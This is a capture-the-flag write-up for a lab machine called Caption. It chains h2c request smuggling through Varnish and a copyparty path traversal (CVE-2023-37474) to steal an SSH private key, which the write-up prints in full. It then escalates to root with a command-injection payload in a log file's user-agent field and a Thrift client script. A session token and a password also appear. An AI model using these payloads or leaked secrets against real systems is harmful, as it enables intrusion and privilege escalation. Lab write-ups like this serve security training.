        <link rel="stylesheet" media="screen" href="/.cpr/ui.css?_=C7Ta">
</head>
----- SNIP -----
<a href="#" id="repl">π</a>
        <span id="pb"><span>powered by</span> <a href="https://github.com/9001/copyparty">copyparty </a></span>
        <script>
 
var SR = "",
        lang="eng",
        dfavico="🎉 000 none";
 
document.documentElement.className=localStorage.theme||"az a z";
 
</script>
<script src="/.cpr/util.js?_=C7Ta"></script>
<script src="/.cpr/splash.js?_=C7Ta"></script>
</body>
</html>

CVE-2023-37474

While trying to fetch some of the files in .ssh folder in margo home directory I got the id_ecdsa file by which we will get the ssh shell as margo.

python3 h2csmuggler.py -x http://caption.htb http://caption.htb/download\?url\=http://127.0.0.1:3923/.cpr/%252Fhome%252Fmargo%252F.ssh%252Fid_ecdsa -H 'Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzM3ODkwMTQwfQ.ed3wPZfM5bMOgOnRJEo1r2Kt59HBOco77m52C_PtSzU'
----- SNIP -----
[INFO] Requesting - /download?url=http://127.0.0.1:3923/.cpr/%252Fhome%252Fmargo%252F.ssh%252Fid_ecdsa
:status: 200
server: Werkzeug/3.0.1 Python/3.10.12
date: Sun, 26 Jan 2025 10:21:04 GMT
content-type: text/html; charset=utf-8
content-length: 492
x-varnish: 65572
age: 0
via: 1.1 varnish (Varnish/6.6)
x-cache: MISS
accept-ranges: bytes

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS1zaGEy
LW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQTGOXexsvvDi6ef34AqJrlsOKP3cynseip0tX/R+A58
9sSkErzUOEOJba7G1Ep2TawTJTbWb2KROYrOYLA0zysQAAAAoJxnaNicZ2jYAAAAE2VjZHNhLXNo
YTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMY5d7Gy+8OLp5/fgComuWw4o/dzKex6KnS1f9H4
Dnz2xKQSvNQ4Q4ltrsbUSnZNrBMlNtZvYpE5is5gsDTPKxAAAAAgaNaOfcgjzxxq/7lNizdKUj2u
Zpid9tR/6oub8Y3Jh3cAAAAAAQIDBAUGBwg=
-----END OPENSSH PRIVATE KEY-----

Copy the private key in the file and change the permission to 400 using chmod.

chmod 400 id_ecdsa

ssh -i id_ecdsa margo@10.10.11.33
The authenticity of host '10.10.11.33 (10.10.11.33)' can't be established.
ED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.33' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-119-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sun Jan 26 10:21:59 AM UTC 2025

  System load:  0.0               Processes:             234
  Usage of /:   68.9% of 8.76GB   Users logged in:       0
  Memory usage: 14%               IPv4 address for eth0: 10.10.11.33
  Swap usage:   0%


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

3 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Tue Sep 10 12:33:42 2024 from 10.10.14.23
margo@caption:~$

Privilege Escalation

Pillaging - margo [ user ]

The service and process enumeration reveals that the root is running server.go process and 9090 port is open, which is running Logservice which we get to know from Gitbucket Logservice repository.

margo@caption:~$ netstat -tlnp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:9090          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:6081          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:6082          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3923          0.0.0.0:*               LISTEN      1296/python3        
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN      1297/python3        
tcp        0      0 0.0.0.0:8080            0.0.0.0:*               LISTEN      1298/java           
tcp6       0      0 :::22                   :::*                    LISTEN      -   
margo@caption:~$ ps aux | grep server.go
root        1282  0.0  0.0   2892   976 ?        Ss   Jan26   0:00 /bin/sh -c cd /root;/usr/local/go/bin/go run server.go
root        1283  0.0  0.4 1240804 17196 ?       Sl   Jan26   0:02 /usr/local/go/bin/go run server.go
margo       3745  0.0  0.0   6616  2244 pts/0    S+   01:35   0:00 grep --color=auto server.go

Shell - root [ Thrift Exploitation ]

The server.go file form Gitbucket Logservice repository. The code is used to open the file and compile it and output the file. The line 43 contains the bash system commands which could be exploited.

server.go
package main
 
import (
    "context"
    "fmt"
    "log"
    "os"
    "bufio"
    "regexp"
    "time"
    "github.com/apache/thrift/lib/go/thrift"
    "os/exec"
    "log_service"
)
 
type LogServiceHandler struct{}
 
func (l *LogServiceHandler) ReadLogFile(ctx context.Context, filePath string) (r string, err error) {
    file, err := os.Open(filePath)
    if err != nil {
        return "", fmt.Errorf("error opening log file: %v", err)
    }
    defer file.Close()
    ipRegex := regexp.MustCompile(`\b(?:\d{1,3}\.){3}\d{1,3}\b`)
    userAgentRegex := regexp.MustCompile(`"user-agent":"([^"]+)"`)
    outputFile, err := os.Create("output.log")
    if err != nil {
        fmt.Println("Error creating output file:", err)
        return
    }
    defer outputFile.Close()
    scanner := bufio.NewScanner(file)
    for scanner.Scan() {
        line := scanner.Text()
        ip := ipRegex.FindString(line)
        userAgentMatch := userAgentRegex.FindStringSubmatch(line)
        var userAgent string
        if len(userAgentMatch) > 1 {
            userAgent = userAgentMatch[1]
        }
        timestamp := time.Now().Format(time.RFC3339)
        logs := fmt.Sprintf("echo 'IP Address: %s, User-Agent: %s, Timestamp: %s' >> output.log", ip, userAgent, timestamp)
        exec.Command{"/bin/sh", "-c", logs}
    }
    return "Log file processed",nil
}
 
func main() {
    handler := &LogServiceHandler{}
    processor := log_service.NewLogServiceProcessor(handler)
    transport, err := thrift.NewTServerSocket(":9090")
    if err != nil {
        log.Fatalf("Error creating transport: %v", err)
    }
 
    server := thrift.NewTSimpleServer4(processor, transport, thrift.NewTTransportFactory(), thrift.NewTBinaryProtocolFactoryDefault())
    log.Println("Starting the server...")
    if err := server.Serve(); err != nil {
        log.Fatalf("Error occurred while serving: %v", err)
    }
}
1

Port forward the 9090 port via SSH

ssh -L 9090:127.0.0.1:9090 -i id_ecdsa margo@10.10.11.33
2

Get the Logservice repository which is present in Gitbucket

git clone http://caption.htb:8080/git/root/Logservice.git
3

Install the thrift-compiler in local machine

sudo apt install thrift-compiler
4

Create python virtual environment, install thrift and change directory to Logservice

python3 -m venv .venv
source .venv/bin/activate
pip3 install thrift
5

Generate program using thrift-compiler

thrift --gen py log_service.thrift

The gen-py folder is generated

6

Create the malicious log file in margo's shell /tmp folder

exp.log
"user-agent":"'$(chmod u+s /bin/bash) '"
7

Change directory into gen-py and create the malicious python script to interact with the thrift

exploit.py
#!/usr/bin/env python3
# Adapted from https://thrift.apache.org/tutorial/py.html
from thrift import Thrift
from thrift.transport import TSocket
from thrift.transport import TTransport
from thrift.protocol import TBinaryProtocol
from log_service import LogService

def main():
    transport = TSocket.TSocket('localhost', 9090)
    transport = TTransport.TBufferedTransport(transport)
    protocol = TBinaryProtocol.TBinaryProtocol(transport)
 
    client = LogService.Client(protocol)
 
    transport.open()
 
    result = client.ReadLogFile("/tmp/exp.log")
 
    transport.close()
 
 
if __name__ == "__main__":
    main()

Execute the created python script.

python3 exploit.py
8

In margo's shell execute the following commands

margo@caption:/tmp$ vi exp.log
margo@caption:/tmp$ ls /bin/bash
/bin/bash
margo@caption:/tmp$ bash -p
bash-5.1# whoami
root

Proof of Concept

The below video provides the PoC of Caption machine.

Using the credentials to login found in Caption-Portal repository commit form .

The varnish cache 6.6 is vulnerable to CVE-2021-26740 h2c smuggling while upgrading to h2c. The h2c smuggling is a technique that exploits the HTTP/1.1 to HTTP/2 cleartext (h2c) upgrade mechanism to bypass security controls. For more details, you can visit to this post.

The BishopFox has created script for h2c smuggling in this github .

Downloading the http://127.0.0.1:3923 reveals that the copypart is running which we can get from this github .

The copypart is vulnerable to CVE-2023-37474 path traversal attack through /.cpr subfolder. More details about it is found .

The user.txt file contains the user flag

The root.txt file is present in /root directory which contains the root flag

👏
🎉
MrR3boot
copypart
thrift
blog
repository
repository
here
here
Credentials: margo / vFr&cS2#0!
Commit where margo credentials is found
/root/Caption-Portal/blob/98f2c36131078270dd3e11865f7a559d488666a1/config/haproxy/haproxy.cfg
Page cover image